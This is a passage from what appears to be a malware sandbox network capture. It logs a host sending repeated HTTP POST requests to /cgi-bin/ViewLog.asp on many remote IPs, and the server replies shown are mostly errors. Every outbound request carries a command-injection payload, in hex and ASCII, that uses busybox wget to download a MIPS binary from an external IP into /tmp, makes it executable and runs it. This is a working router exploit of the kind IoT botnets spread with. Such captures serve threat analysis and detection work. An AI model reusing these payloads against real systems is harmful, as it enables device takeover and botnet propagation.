Nov 23, 2023 05:15:58.502631903 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:23.590480089 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:12.742415905 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	57082	62.78.36.130	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.347312927 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:38.391468048 CET	308	IN	HTTP/1.0 200 OK Server: httpd/2.0 Date: Thu, 23 Nov 2023 04:19:12 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 3f 65 72 72 6f 72 5f 73 74 61 74 75 73 3d 31 26 70 61 67 65 3d 69 6e 64 65 78 2e 61 73 70 26 6c 6f 63 6b 5f 74 69 6d 65 3d 30 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp?error_status=1&page=index.asp&lock_time=0';</script></HEAD></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	47974	94.121.70.236	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.349904060 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	45302	31.14.115.202	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.401773930 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:37.678050995 CET	396	IN	HTTP/1.1 501 Not Implemented Cache-Control: no-store Connection: close Content-Length: 137 Date: Thu, 23 Nov 2023 04:15:34 GMT Expires: 0 Pragma: no-cache X-Frame-Options: sameorigin Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	34170	95.87.94.66	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.406735897 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	33296	85.95.152.99	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.471261978 CET	326	IN	HTTP/1.0 400 Bad Request Server: httpd/2.0 Date: Thu, 23 Nov 2023 04:16:16 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	37370	94.238.153.151	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.754566908 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:38.310592890 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:39.398592949 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	49876	31.136.221.238	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.762255907 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:38.342586994 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:39.498594046 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:41.862585068 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:46.470611095 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:55.686597109 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:15.398525953 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:52.262418985 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	58064	94.127.134.10	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.771476030 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	50606	94.121.113.217	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.795922041 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	49134	31.132.164.130	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.797729015 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:38.017843962 CET	375	IN	HTTP/1.0 404 Not Found Date: Thu, 23 Nov 2023 14:16:33 GMT Server: Boa/0.94.13 Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	39826	94.120.0.177	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.799431086 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	53124	94.43.76.186	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.849071026 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	42790	85.122.227.174	8080

Timestamp	Bytes transferred	Direction	Data
